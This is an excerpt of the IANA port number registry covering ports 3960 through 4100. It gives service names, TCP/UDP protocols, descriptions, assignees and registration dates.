bess               3960        tcp    Bess Peer Assessment         [Peter_Verdon]                                        [Peter_Verdon]                                            2005-08
bess               3960        udp    Bess Peer Assessment         [Peter_Verdon]                                        [Peter_Verdon]                                            2005-08
proaxess           3961        tcp    ProAxess Server              [Jonas_Ahlqvist]                                      [Jonas_Ahlqvist]                                          2005-08
proaxess           3961        udp    ProAxess Server              [Jonas_Ahlqvist]                                      [Jonas_Ahlqvist]                                          2005-08
sbi-agent          3962        tcp    SBI Agent Protocol           [Yossi_Appleboum_2]                                   [Yossi_Appleboum_2]                                       2005-08
sbi-agent          3962        udp    SBI Agent Protocol           [Yossi_Appleboum_2]                                   [Yossi_Appleboum_2]                                       2005-08
thrp               3963        tcp    Teran Hybrid Routing         [Spencer_Teran]                                       [Spencer_Teran]                                           2005-08
                                      Protocol
thrp               3963        udp    Teran Hybrid Routing         [Spencer_Teran]                                       [Spencer_Teran]                                           2005-08
                                      Protocol
sasggprs           3964        tcp    SASG GPRS                    [Cristian_Petculescu_3]                               [Cristian_Petculescu_3]                                   2005-08
sasggprs           3964        udp    SASG GPRS                    [Cristian_Petculescu_3]                               [Cristian_Petculescu_3]                                   2005-08
ati-ip-to-ncpe     3965        tcp    Avanti IP to NCPE API        [Steve_Meyer_Sr]                                      [Steve_Meyer_Sr]                                          2005-08
ati-ip-to-ncpe     3965        udp    Avanti IP to NCPE API        [Steve_Meyer_Sr]                                      [Steve_Meyer_Sr]                                          2005-08
bflckmgr           3966        tcp    BuildForge Lock Manager      [Joe_Senner]                                          [Joe_Senner]                                              2005-08
bflckmgr           3966        udp    BuildForge Lock Manager      [Joe_Senner]                                          [Joe_Senner]                                              2005-08
ppsms              3967        tcp    PPS Message Service          [Bart_Schaefer]                                       [Bart_Schaefer]                                           2005-08
ppsms              3967        udp    PPS Message Service          [Bart_Schaefer]                                       [Bart_Schaefer]                                           2005-08
ianywhere-dbns     3968        tcp    iAnywhere DBNS               [Graeme_Perrow]                                       [Graeme_Perrow]                                           2005-08
ianywhere-dbns     3968        udp    iAnywhere DBNS               [Graeme_Perrow]                                       [Graeme_Perrow]                                           2005-08
landmarks          3969        tcp    Landmark Messages            [Petri_Rauhala]                                       [Petri_Rauhala]                                           2005-08
landmarks          3969        udp    Landmark Messages            [Petri_Rauhala]                                       [Petri_Rauhala]                                           2005-08
                                                                                                                                                                                                                                                                                  Defined TXT keys:
                                                                                                                                                                                                                                                                                  txtvers
lanrevagent        3970        tcp    LANrev Agent                 [Martin_Bestmann_3]                                   [Martin_Bestmann_3]                                                                                                                                      server=<main LANrev server for agent>
                                                                                                                                                                                                                                                                                  vers=<version of LANrev Agent>
                                                                                                                                                                                                                                                                                  build=<build number of LANrev Agent>
                                                                                                                                                                                                                                                                                  id=<agent identifier>
                                                                                                                                                                                                                                                                                  Defined TXT keys:
                                                                                                                                                                                                                                                                                  txtvers
lanrevagent        3970        udp    LANrev Agent                 [Martin_Bestmann_3]                                   [Martin_Bestmann_3]                                                                                                                                      server=<main LANrev server for agent>
                                                                                                                                                                                                                                                                                  vers=<version of LANrev Agent>
                                                                                                                                                                                                                                                                                  build=<build number of LANrev Agent>
                                                                                                                                                                                                                                                                                  id=<agent identifier>
lanrevserver       3971        tcp    LANrev Server                [Martin_Bestmann_3]                                   [Martin_Bestmann_3]                                       2005-08
lanrevserver       3971        udp    LANrev Server                [Martin_Bestmann_3]                                   [Martin_Bestmann_3]                                       2005-08
iconp              3972        tcp    ict-control Protocol         [Roel_Harbers]                                        [Roel_Harbers]                                            2005-08
iconp              3972        udp    ict-control Protocol         [Roel_Harbers]                                        [Roel_Harbers]                                            2005-08
progistics         3973        tcp    ConnectShip Progistics       [Jeff_Skaistis]                                       [Jeff_Skaistis]                                           2005-08
progistics         3973        udp    ConnectShip Progistics       [Jeff_Skaistis]                                       [Jeff_Skaistis]                                           2005-08
citysearch         3974        tcp    Remote Applicant Tracking    [Marc_Castelluccio]                                   [Marc_Castelluccio]                                       2005-08
                                      Service
citysearch         3974        udp    Remote Applicant Tracking    [Marc_Castelluccio]                                   [Marc_Castelluccio]                                       2005-08
                                      Service
airshot            3975        tcp    Air Shot                     [Shingo_Kimura]                                       [Shingo_Kimura]                                           2005-08
airshot            3975        udp    Air Shot                     [Shingo_Kimura]                                       [Shingo_Kimura]                                           2005-08
opswagent          3976        tcp    Server Automation Agent      [Hewlett_Packard_Enterprise]                          [Cristi_Fati]                                                          2016-04-14
opswagent          3976        udp    Server Automation Agent      [Hewlett_Packard_Enterprise]                          [Cristi_Fati]                                                          2016-04-14
opswmanager        3977        tcp    Opsware Manager              [Dave_Jagoda]                                         [Dave_Jagoda]                                             2006-06
opswmanager        3977        udp    Opsware Manager              [Dave_Jagoda]                                         [Dave_Jagoda]                                             2006-06
secure-cfg-svr     3978        tcp    Secured Configuration Server [Dr_Anupam_Bharali]                                   [Dr_Anupam_Bharali]                                       2006-06
secure-cfg-svr     3978        udp    Secured Configuration Server [Dr_Anupam_Bharali]                                   [Dr_Anupam_Bharali]                                       2006-06
smwan              3979        tcp    Smith Micro Wide Area        [David_Sperling]                                      [David_Sperling]                                          2006-06
                                      Network Service
smwan              3979        udp    Smith Micro Wide Area        [David_Sperling]                                      [David_Sperling]                                          2006-06
                                      Network Service
acms               3980        tcp    Aircraft Cabin Management    [Dustin_Zack]                                         [Dustin_Zack]                                             2006-06
                                      System
acms               3980        udp    Aircraft Cabin Management    [Dustin_Zack]                                         [Dustin_Zack]                                             2006-06
                                      System
starfish           3981        tcp    Starfish System Admin        [Dan_Razzell]                                         [Dan_Razzell]                                             2006-06
starfish           3981        udp    Starfish System Admin        [Dan_Razzell]                                         [Dan_Razzell]                                             2006-06
eis                3982        tcp    ESRI Image Server
eis                3982        udp    ESRI Image Server
eisp               3983        tcp    ESRI Image Service           [Keith_Ryden]                                         [Keith_Ryden]                                             2006-07
eisp               3983        udp    ESRI Image Service           [Keith_Ryden]                                         [Keith_Ryden]                                             2006-07
mapper-nodemgr     3984        tcp    MAPPER network node manager
mapper-nodemgr     3984        udp    MAPPER network node manager
mapper-mapethd     3985        tcp    MAPPER TCP/IP server
mapper-mapethd     3985        udp    MAPPER TCP/IP server
                                      MAPPER workstation server

mapper-ws-ethd     3986        tcp    IANA assigned this           [John_C_Horton]                                       [John_C_Horton]
                                      well-formed service name as
                                      a replacement for
                                      "mapper-ws_ethd".
                                                                                                                                                                                                                                                                                  This entry is an alias to "mapper-ws-ethd". This entry is now
mapper-ws_ethd     3986        tcp    MAPPER workstation server    [John_C_Horton]                                       [John_C_Horton]                                                                                                                                          historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      MAPPER workstation server

mapper-ws-ethd     3986        udp    IANA assigned this           [John_C_Horton]                                       [John_C_Horton]
                                      well-formed service name as
                                      a replacement for
                                      "mapper-ws_ethd".
                                                                                                                                                                                                                                                                                  This entry is an alias to "mapper-ws-ethd". This entry is now
mapper-ws_ethd     3986        udp    MAPPER workstation server    [John_C_Horton]                                       [John_C_Horton]                                                                                                                                          historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
centerline         3987        tcp    Centerline                   [Mark_Simpson]                                        [Mark_Simpson]
centerline         3987        udp    Centerline                   [Mark_Simpson]                                        [Mark_Simpson]
dcs-config         3988        tcp    DCS Configuration Port       [Ian_Cargill]                                         [Ian_Cargill]                                             2005-08
dcs-config         3988        udp    DCS Configuration Port       [Ian_Cargill]                                         [Ian_Cargill]                                             2005-08
bv-queryengine     3989        tcp    BindView-Query Engine
bv-queryengine     3989        udp    BindView-Query Engine
bv-is              3990        tcp    BindView-IS
bv-is              3990        udp    BindView-IS
bv-smcsrv          3991        tcp    BindView-SMCServer
bv-smcsrv          3991        udp    BindView-SMCServer
bv-ds              3992        tcp    BindView-DirectoryServer
bv-ds              3992        udp    BindView-DirectoryServer
bv-agent           3993        tcp    BindView-Agent               [David_A_Gayler]                                      [David_A_Gayler]                                          2005-08
bv-agent           3993        udp    BindView-Agent               [David_A_Gayler]                                      [David_A_Gayler]                                          2005-08
                   3994               Unassigned                                                                                                                                                2008-04-24
iss-mgmt-ssl       3995        tcp    ISS Management Svcs SSL      [Wes_Wilson]                                          [Wes_Wilson]                                              2003-10
iss-mgmt-ssl       3995        udp    ISS Management Svcs SSL      [Wes_Wilson]                                          [Wes_Wilson]                                              2003-10
abcsoftware        3996        tcp    abcsoftware-01               [Andrew_Zimmerman]                                    [Andrew_Zimmerman]                                        2004-06
abcsoftware        3996        udp    abcsoftware-01               [Andrew_Zimmerman]                                    [Andrew_Zimmerman]                                        2004-06
agentsease-db      3997        tcp    aes_db                       [Colin_Hughes]                                        [Colin_Hughes]                                            2006-02
agentsease-db      3997        udp    aes_db                       [Colin_Hughes]                                        [Colin_Hughes]                                            2006-02
dnx                3998        tcp    Distributed Nagios Executor  [John_Calcote]                                        [John_Calcote]                                            2007-11-06
                                      Service
dnx                3998        udp    Distributed Nagios Executor  [John_Calcote]                                        [John_Calcote]                                            2007-11-06
                                      Service
nvcnet             3999        tcp    Norman distributes scanning  [Kristian_A_Bognaes]                                  [Kristian_A_Bognaes]                                      2007-11-06
                                      service
nvcnet             3999        udp    Norman distributes scanning  [Kristian_A_Bognaes]                                  [Kristian_A_Bognaes]                                      2007-11-06
                                      service
terabase           4000        tcp    Terabase                     [Thor_Olson]                                          [Thor_Olson]                                                                                                                                             Potential Conflict of ports PORT 4000 also used by ICQ
                                                                                                                                                                                                                                                                                  <www.icq.com>
terabase           4000        udp    Terabase                     [Thor_Olson]                                          [Thor_Olson]                                                                                                                                             Potential Conflict of ports PORT 4000 also used by ICQ
                                                                                                                                                                                                                                                                                  <www.icq.com>
newoak             4001        tcp    NewOak                       [Jim_Philippou]                                       [Jim_Philippou]
newoak             4001        udp    NewOak                       [Jim_Philippou]                                       [Jim_Philippou]
pxc-spvr-ft        4002        tcp    pxc-spvr-ft
pxc-spvr-ft        4002        udp    pxc-spvr-ft
pxc-splr-ft        4003        tcp    pxc-splr-ft
pxc-splr-ft        4003        udp    pxc-splr-ft
pxc-roid           4004        tcp    pxc-roid
pxc-roid           4004        udp    pxc-roid
pxc-pin            4005        tcp    pxc-pin
pxc-pin            4005        udp    pxc-pin
pxc-spvr           4006        tcp    pxc-spvr
pxc-spvr           4006        udp    pxc-spvr
pxc-splr           4007        tcp    pxc-splr                     [Dave_Nesbitt]                                        [Dave_Nesbitt]
pxc-splr           4007        udp    pxc-splr                     [Dave_Nesbitt]                                        [Dave_Nesbitt]
netcheque          4008        tcp    NetCheque accounting         [B_Clifford_Neuman]                                   [B_Clifford_Neuman]
netcheque          4008        udp    NetCheque accounting         [B_Clifford_Neuman]                                   [B_Clifford_Neuman]
chimera-hwm        4009        tcp    Chimera HWM                  [Ken_Anderson]                                        [Ken_Anderson]
chimera-hwm        4009        udp    Chimera HWM                  [Ken_Anderson]                                        [Ken_Anderson]
samsung-unidex     4010        tcp    Samsung Unidex               [Konstantin_V_Vyazni]                                 [Konstantin_V_Vyazni]
samsung-unidex     4010        udp    Samsung Unidex               [Konstantin_V_Vyazni]                                 [Konstantin_V_Vyazni]
altserviceboot     4011        tcp    Alternate Service Boot       [Eric_Dittert]                                        [Eric_Dittert]
altserviceboot     4011        udp    Alternate Service Boot       [Eric_Dittert]                                        [Eric_Dittert]
pda-gate           4012        tcp    PDA Gate                     [Masakuni_Okada]                                      [Masakuni_Okada]
pda-gate           4012        udp    PDA Gate                     [Masakuni_Okada]                                      [Masakuni_Okada]
acl-manager        4013        tcp    ACL Manager                  [Toru_Murai]                                          [Toru_Murai]
acl-manager        4013        udp    ACL Manager                  [Toru_Murai]                                          [Toru_Murai]
taiclock           4014        tcp    TAICLOCK                     [D_J_Bernstein]                                       [D_J_Bernstein]                                                        2018-04-05
taiclock           4014        udp    TAICLOCK                     [D_J_Bernstein]                                       [D_J_Bernstein]                                                        2018-04-05
talarian-mcast1    4015        tcp    Talarian Mcast
talarian-mcast1    4015        udp    Talarian Mcast
talarian-mcast2    4016        tcp    Talarian Mcast
talarian-mcast2    4016        udp    Talarian Mcast
talarian-mcast3    4017        tcp    Talarian Mcast
talarian-mcast3    4017        udp    Talarian Mcast
talarian-mcast4    4018        tcp    Talarian Mcast
talarian-mcast4    4018        udp    Talarian Mcast
talarian-mcast5    4019        tcp    Talarian Mcast               [Geoff_Mendal]                                        [Geoff_Mendal]
talarian-mcast5    4019        udp    Talarian Mcast               [Geoff_Mendal]                                        [Geoff_Mendal]
trap               4020        tcp    TRAP Port                    [Jeffrey_C_Byrd]                                      [Jeffrey_C_Byrd]
trap               4020        udp    TRAP Port                    [Jeffrey_C_Byrd]                                      [Jeffrey_C_Byrd]
nexus-portal       4021        tcp    Nexus Portal                 [Damian_Tarnawsky]                                    [Damian_Tarnawsky]
nexus-portal       4021        udp    Nexus Portal                 [Damian_Tarnawsky]                                    [Damian_Tarnawsky]
dnox               4022        tcp    DNOX                         [Leo_Rathnayake]                                      [Leo_Rathnayake]
dnox               4022        udp    DNOX                         [Leo_Rathnayake]                                      [Leo_Rathnayake]
esnm-zoning        4023        tcp    ESNM Zoning Port             [Yong_Cai]                                            [Yong_Cai]
esnm-zoning        4023        udp    ESNM Zoning Port             [Yong_Cai]                                            [Yong_Cai]
tnp1-port          4024        tcp    TNP1 User Port               [Tony_Gibbs]                                          [Tony_Gibbs]
tnp1-port          4024        udp    TNP1 User Port               [Tony_Gibbs]                                          [Tony_Gibbs]
partimage          4025        tcp    Partition Image Port         [Franck_Ladurelle]                                    [Franck_Ladurelle]
partimage          4025        udp    Partition Image Port         [Franck_Ladurelle]                                    [Franck_Ladurelle]
as-debug           4026        tcp    Graphical Debug Server       [Steve_Halverson]                                     [Steve_Halverson]
as-debug           4026        udp    Graphical Debug Server       [Steve_Halverson]                                     [Steve_Halverson]
bxp                4027        tcp    bitxpress                    [Morgan_Doyle]                                        [Morgan_Doyle]
bxp                4027        udp    bitxpress                    [Morgan_Doyle]                                        [Morgan_Doyle]
dtserver-port      4028        tcp    DTServer Port                [Stephen_Aikins]                                      [Stephen_Aikins]
dtserver-port      4028        udp    DTServer Port                [Stephen_Aikins]                                      [Stephen_Aikins]
ip-qsig            4029        tcp    IP Q signaling protocol      [Toru_Tachibana]                                      [Toru_Tachibana]
ip-qsig            4029        udp    IP Q signaling protocol      [Toru_Tachibana]                                      [Toru_Tachibana]
jdmn-port          4030        tcp    Accell/JSP Daemon Port       [Daegis_Inc]                                          [Chris_Anderson]                                                       2012-07-12
jdmn-port          4030        udp    Accell/JSP Daemon Port       [Daegis_Inc]                                          [Chris_Anderson]                                                       2012-07-12
suucp              4031        tcp    UUCP over SSL                [Harald_Welte]                                        [Harald_Welte]
suucp              4031        udp    UUCP over SSL                [Harald_Welte]                                        [Harald_Welte]
vrts-auth-port     4032        tcp    VERITAS Authorization        [Stefan_Winkel]                                       [Stefan_Winkel]
                                      Service
vrts-auth-port     4032        udp    VERITAS Authorization        [Stefan_Winkel]                                       [Stefan_Winkel]
                                      Service
sanavigator        4033        tcp    SANavigator Peer Port        [Robert_J_Chansler]                                   [Robert_J_Chansler]
sanavigator        4033        udp    SANavigator Peer Port        [Robert_J_Chansler]                                   [Robert_J_Chansler]
ubxd               4034        tcp    Ubiquinox Daemon             [Kit_Smithers]                                        [Kit_Smithers]
ubxd               4034        udp    Ubiquinox Daemon             [Kit_Smithers]                                        [Kit_Smithers]
wap-push-http      4035        tcp    WAP Push OTA-HTTP port
wap-push-http      4035        udp    WAP Push OTA-HTTP port
wap-push-https     4036        tcp    WAP Push OTA-HTTP secure     [Matthieu_Lachance]                                   [Matthieu_Lachance]
wap-push-https     4036        udp    WAP Push OTA-HTTP secure     [Matthieu_Lachance]                                   [Matthieu_Lachance]
ravehd             4037        tcp    RaveHD network control       [Jason_Howard]                                        [Jason_Howard]                                            2006-01
ravehd             4037        udp    RaveHD network control       [Jason_Howard]                                        [Jason_Howard]                                            2006-01
fazzt-ptp          4038        tcp    Fazzt Point-To-Point
fazzt-ptp          4038        udp    Fazzt Point-To-Point
fazzt-admin        4039        tcp    Fazzt Administration         [Lewis_Wolfgang]                                      [Lewis_Wolfgang]                                          2006-05
fazzt-admin        4039        udp    Fazzt Administration         [Lewis_Wolfgang]                                      [Lewis_Wolfgang]                                          2006-05
yo-main            4040        tcp    Yo.net main service          [John_Tintor]                                         [John_Tintor]
yo-main            4040        udp    Yo.net main service          [John_Tintor]                                         [John_Tintor]
houston            4041        tcp    Rocketeer-Houston            [Johnny_C_Norris_II]                                  [Johnny_C_Norris_II]
houston            4041        udp    Rocketeer-Houston            [Johnny_C_Norris_II]                                  [Johnny_C_Norris_II]
ldxp               4042        tcp    LDXP                         [Craig_Calef]                                         [Craig_Calef]
ldxp               4042        udp    LDXP                         [Craig_Calef]                                         [Craig_Calef]
nirp               4043        tcp    Neighbour Identity
                                      Resolution
nirp               4043        udp    Neighbour Identity
                                      Resolution
ltp                4044        tcp    Location Tracking Protocol
ltp                4044        udp    Location Tracking Protocol
                                                                                                                                                                                                                                                                     Known
npp                4045        tcp    Network Paging Protocol                                                                                                                                                                                                        UNAUTHORIZED
                                                                                                                                                                                                                                                                     USE: Port
                                                                                                                                                                                                                                                                     4045
                                                                                                                                                                                                                                                                     Known
npp                4045        udp    Network Paging Protocol                                                                                                                                                                                                        UNAUTHORIZED
                                                                                                                                                                                                                                                                     USE: Port
                                                                                                                                                                                                                                                                     4045
acp-proto          4046        tcp    Accounting Protocol
acp-proto          4046        udp    Accounting Protocol
ctp-state          4047        tcp    Context Transfer Protocol    [Hesham_Soliman]                                      [Hesham_Soliman]                                          2005-11
ctp-state          4047        udp    Context Transfer Protocol    [Hesham_Soliman]                                      [Hesham_Soliman]                                          2005-11
                   4048               Unassigned                                                                                                                                                2008-04-24
wafs               4049        tcp    Wide Area File Services      [Yuval_Hager]                                         [Yuval_Hager]                                             2006-01
wafs               4049        udp    Wide Area File Services      [Yuval_Hager]                                         [Yuval_Hager]                                             2006-01
cisco-wafs         4050        tcp    Wide Area File Services      [Etai_Lev_Ran]                                        [Etai_Lev_Ran]                                            2005-02
cisco-wafs         4050        udp    Wide Area File Services      [Etai_Lev_Ran]                                        [Etai_Lev_Ran]                                            2005-02
cppdp              4051        tcp    Cisco Peer to Peer           [Susan_Sauter]                                        [Susan_Sauter]                                            2006-07
                                      Distribution Protocol
cppdp              4051        udp    Cisco Peer to Peer           [Susan_Sauter]                                        [Susan_Sauter]                                            2006-07
                                      Distribution Protocol
interact           4052        tcp    VoiceConnect Interact        [Jonathan_Custance]                                   [Jonathan_Custance]                                       2006-07
interact           4052        udp    VoiceConnect Interact        [Jonathan_Custance]                                   [Jonathan_Custance]                                       2006-07
ccu-comm-1         4053        tcp    CosmoCall Universe
                                      Communications Port 1
ccu-comm-1         4053        udp    CosmoCall Universe
                                      Communications Port 1
ccu-comm-2         4054        tcp    CosmoCall Universe
                                      Communications Port 2
ccu-comm-2         4054        udp    CosmoCall Universe
                                      Communications Port 2
ccu-comm-3         4055        tcp    CosmoCall Universe           [Steve_Dellutri_2]                                    [Steve_Dellutri_2]                                        2006-07
                                      Communications Port 3
ccu-comm-3         4055        udp    CosmoCall Universe           [Steve_Dellutri_2]                                    [Steve_Dellutri_2]                                        2006-07
                                      Communications Port 3
lms                4056        tcp    Location Message Service     [Sergey_Burnevsky]                                    [Sergey_Burnevsky]                                        2006-08
lms                4056        udp    Location Message Service     [Sergey_Burnevsky]                                    [Sergey_Burnevsky]                                        2006-08
wfm                4057        tcp    Servigistics WFM server      [Yuri_Machkasov_2]                                    [Yuri_Machkasov_2]                                        2006-08
wfm                4057        udp    Servigistics WFM server      [Yuri_Machkasov_2]                                    [Yuri_Machkasov_2]                                        2006-08
kingfisher         4058        tcp    Kingfisher protocol          [Vaughan_Wesson]                                      [Vaughan_Wesson]                                          2006-10
kingfisher         4058        udp    Kingfisher protocol          [Vaughan_Wesson]                                      [Vaughan_Wesson]                                          2006-10
dlms-cosem         4059        tcp    DLMS/COSEM                   [Gyozo_Kmethy]                                        [Gyozo_Kmethy]                                            2006-11
dlms-cosem         4059        udp    DLMS/COSEM                   [Gyozo_Kmethy]                                        [Gyozo_Kmethy]                                            2006-11
                                      DSMETER Inter-Agent Transfer
                                      Channel

dsmeter-iatc       4060        tcp    IANA assigned this           [John_McCann]                                         [John_McCann]                                             2006-12
                                      well-formed service name as
                                      a replacement for
                                      "dsmeter_iatc".
                                      DSMETER Inter-Agent Transfer                                                                                                                                                                                                                This entry is an alias to "dsmeter-iatc". This entry is now
dsmeter_iatc       4060        tcp    Channel                      [John_McCann]                                         [John_McCann]                                             2006-12                                                                                        historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      DSMETER Inter-Agent Transfer
                                      Channel

dsmeter-iatc       4060        udp    IANA assigned this           [John_McCann]                                         [John_McCann]                                             2006-12
                                      well-formed service name as
                                      a replacement for
                                      "dsmeter_iatc".
                                      DSMETER Inter-Agent Transfer                                                                                                                                                                                                                This entry is an alias to "dsmeter-iatc". This entry is now
dsmeter_iatc       4060        udp    Channel                      [John_McCann]                                         [John_McCann]                                             2006-12                                                                                        historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
ice-location       4061        tcp    Ice Location Service (TCP)
ice-location       4061        udp    Ice Location Service (TCP)
ice-slocation      4062        tcp    Ice Location Service (SSL)
ice-slocation      4062        udp    Ice Location Service (SSL)
ice-router         4063        tcp    Ice Firewall Traversal
                                      Service (TCP)
ice-router         4063        udp    Ice Firewall Traversal
                                      Service (TCP)
ice-srouter        4064        tcp    Ice Firewall Traversal       [Bernard_Normier]                                     [Bernard_Normier]                                         2006-12
                                      Service (SSL)
ice-srouter        4064        udp    Ice Firewall Traversal       [Bernard_Normier]                                     [Bernard_Normier]                                         2006-12
                                      Service (SSL)
                                      Avanti Common Data

avanti-cdp         4065        tcp    IANA assigned this           [Steve_Meyer_Sr]                                      [Steve_Meyer_Sr]                                          2007-02
                                      well-formed service name as
                                      a replacement for
                                      "avanti_cdp".
                                                                                                                                                                                                                                                                                  This entry is an alias to "avanti-cdp". This entry is now
avanti_cdp         4065        tcp    Avanti Common Data           [Steve_Meyer_Sr]                                      [Steve_Meyer_Sr]                                          2007-02                                                                                        historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Avanti Common Data

avanti-cdp         4065        udp    IANA assigned this           [Steve_Meyer_Sr]                                      [Steve_Meyer_Sr]                                          2007-02
                                      well-formed service name as
                                      a replacement for
                                      "avanti_cdp".
                                                                                                                                                                                                                                                                                  This entry is an alias to "avanti-cdp". This entry is now
avanti_cdp         4065        udp    Avanti Common Data           [Steve_Meyer_Sr]                                      [Steve_Meyer_Sr]                                          2007-02                                                                                        historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
pmas               4066        tcp    Performance Measurement and  [Zenon_Fortuna]                                       [Zenon_Fortuna]                                           2007-02
                                      Analysis
pmas               4066        udp    Performance Measurement and  [Zenon_Fortuna]                                       [Zenon_Fortuna]                                           2007-02
                                      Analysis
idp                4067        tcp    Information Distribution     [Michaela_Vanderveen]                                 [Michaela_Vanderveen]                                     2007-02
                                      Protocol
idp                4067        udp    Information Distribution     [Michaela_Vanderveen]                                 [Michaela_Vanderveen]                                     2007-02
                                      Protocol
ipfltbcst          4068        tcp    IP Fleet Broadcast           [Trung_Huu_Tran]                                      [Trung_Huu_Tran]                                          2007-03
ipfltbcst          4068        udp    IP Fleet Broadcast           [Trung_Huu_Tran]                                      [Trung_Huu_Tran]                                          2007-03
minger             4069        tcp    Minger Email Address         [Arvel_Hathcock]                                      [Arvel_Hathcock]                                          2007-03
                                      Validation Service
minger             4069        udp    Minger Email Address         [Arvel_Hathcock]                                      [Arvel_Hathcock]                                          2007-03
                                      Validation Service
tripe              4070        tcp    Trivial IP Encryption        [Mark_Wooding]                                        [Mark_Wooding]                                            2007-07-10
                                      (TrIPE)
tripe              4070        udp    Trivial IP Encryption        [Mark_Wooding]                                        [Mark_Wooding]                                            2007-07-10
                                      (TrIPE)
aibkup             4071        tcp    Automatically Incremental    [Volker_Wiegand]                                      [Volker_Wiegand]                                          2007-07-10
                                      Backup
aibkup             4071        udp    Automatically Incremental    [Volker_Wiegand]                                      [Volker_Wiegand]                                          2007-07-10
                                      Backup
zieto-sock         4072        tcp    Zieto Socket Communications  [Malcolm_McLean]                                      [Malcolm_McLean]                                          2007-07-19
zieto-sock         4072        udp    Zieto Socket Communications  [Malcolm_McLean]                                      [Malcolm_McLean]                                          2007-07-19
iRAPP              4073        tcp    Interactive Remote           [Volodymyr_Bykov]                                     [Volodymyr_Bykov]                                         2007-08-20   2016-11-23
                                      Application Pairing Protocol
iRAPP              4073        udp    Interactive Remote           [Volodymyr_Bykov]                                     [Volodymyr_Bykov]                                         2007-08-20   2016-11-23
                                      Application Pairing Protocol
cequint-cityid     4074        tcp    Cequint City ID UI trigger   [Phill_Goeckler]                                      [Phill_Goeckler]                                          2007-08-20
cequint-cityid     4074        udp    Cequint City ID UI trigger   [Phill_Goeckler]                                      [Phill_Goeckler]                                          2007-08-20
perimlan           4075        tcp    ISC Alarm Message Service    [Bernie_Malkowski]                                    [Bernie_Malkowski]                                        2007-08-20
perimlan           4075        udp    ISC Alarm Message Service    [Bernie_Malkowski]                                    [Bernie_Malkowski]                                        2007-08-20
seraph             4076        tcp    Seraph DCS                   [Jason_Spence]                                        [Jason_Spence]                                            2008-01-22
seraph             4076        udp    Seraph DCS                   [Jason_Spence]                                        [Jason_Spence]                                            2008-01-22
                   4077        tcp    Reserved
ascomalarm         4077        udp    Ascom IP Alarming            [Ascom_Austria_GmbH]                                  [Ascom_Austria_GmbH]                                      2008-05-01
cssp               4078        tcp    Coordinated Security Service [Michael_McDaniels]                                   [Michael_McDaniels]                                       2008-05-01
                                      Protocol
                   4078        udp    Reserved
santools           4079        tcp    SANtools Diagnostic Server   [David_A_Lethe_2]                                     [David_A_Lethe_2]                                         2008-05-01
santools           4079        udp    SANtools Diagnostic Server   [David_A_Lethe_2]                                     [David_A_Lethe_2]                                         2008-05-01
lorica-in          4080        tcp    Lorica inside facing
lorica-in          4080        udp    Lorica inside facing
lorica-in-sec      4081        tcp    Lorica inside facing (SSL)
lorica-in-sec      4081        udp    Lorica inside facing (SSL)
lorica-out         4082        tcp    Lorica outside facing
lorica-out         4082        udp    Lorica outside facing
lorica-out-sec     4083        tcp    Lorica outside facing (SSL)  [Johannes_Skov_Frands]                                [Johannes_Skov_Frands]                                    2008-02-28
lorica-out-sec     4083        udp    Lorica outside facing (SSL)  [Johannes_Skov_Frands]                                [Johannes_Skov_Frands]                                    2008-02-28
                   4084        tcp    Reserved
fortisphere-vm     4084        udp    Fortisphere VM Service       [Daniel_Becker_4]                                     [Daniel_Becker_4]                                         2008-06-03
ezmessagesrv       4085        tcp    EZNews Newsroom Message      [Gerald_R_Jensen]                                     [Gerald_R_Jensen]                                         2008-06-05
                                      Service
                   4085        udp    Reserved
                   4086        tcp    Reserved
ftsync             4086        udp    Firewall/NAT state table     [Heiner_Erne]                                         [Heiner_Erne]                                             2008-06-06
                                      synchronization
applusservice      4087        tcp    APplus Service               [Thomas_Boerkel]                                      [Thomas_Boerkel]                                          2008-06-05
                   4087        udp    Reserved
npsp               4088        tcp    Noah Printing Service        [Hiromi_Ohara]                                        [Hiromi_Ohara]                                            2008-06-18
                                      Protocol
                   4088        udp    Reserved
opencore           4089        tcp    OpenCORE Remote Control      [Pim_van_Riezen]                                      [Pim_van_Riezen]                                          2006-07
                                      Service
opencore           4089        udp    OpenCORE Remote Control      [Pim_van_Riezen]                                      [Pim_van_Riezen]                                          2006-07
                                      Service
omasgport          4090        tcp    OMA BCAST Service Guide      [Mark_Lipford]                                        [Mark_Lipford]                                            2006-07
omasgport          4090        udp    OMA BCAST Service Guide      [Mark_Lipford]                                        [Mark_Lipford]                                            2006-07
ewinstaller        4091        tcp    EminentWare Installer
ewinstaller        4091        udp    EminentWare Installer
ewdgs              4092        tcp    EminentWare DGS              [David_A_Gayler_2]                                    [David_A_Gayler_2]                                        2006-07
ewdgs              4092        udp    EminentWare DGS              [David_A_Gayler_2]                                    [David_A_Gayler_2]                                        2006-07
pvxpluscs          4093        tcp    Pvx Plus CS Host             [Michael_King]                                        [Michael_King]                                            2006-07
pvxpluscs          4093        udp    Pvx Plus CS Host             [Michael_King]                                        [Michael_King]                                            2006-07
sysrqd             4094        tcp    sysrq daemon                 [Julien_Danjou]                                       [Julien_Danjou]                                           2006-07
sysrqd             4094        udp    sysrq daemon                 [Julien_Danjou]                                       [Julien_Danjou]                                           2006-07
xtgui              4095        tcp    xtgui information service    [Jim_Robanske]                                        [Jim_Robanske]                                            2006-05
xtgui              4095        udp    xtgui information service    [Jim_Robanske]                                        [Jim_Robanske]                                            2006-05
bre                4096        tcp    BRE (Bridge Relay Element)   [Stephen_Egbert]                                      [Stephen_Egbert]
bre                4096        udp    BRE (Bridge Relay Element)   [Stephen_Egbert]                                      [Stephen_Egbert]
patrolview         4097        tcp    Patrol View                  [Portnoy_Boxman]                                      [Portnoy_Boxman]
patrolview         4097        udp    Patrol View                  [Portnoy_Boxman]                                      [Portnoy_Boxman]
drmsfsd            4098        tcp    drmsfsd                      [Masao_Iwai]                                          [Masao_Iwai]
drmsfsd            4098        udp    drmsfsd                      [Masao_Iwai]                                          [Masao_Iwai]
dpcp               4099        tcp    DPCP                         [John_Croft]                                          [John_Croft]
dpcp               4099        udp    DPCP                         [John_Croft]                                          [John_Croft]
igo-incognito      4100        tcp    IGo Incognito Data Port      [Paul_Reddy_2]                                        [Paul_Reddy_2]                                            2002-02
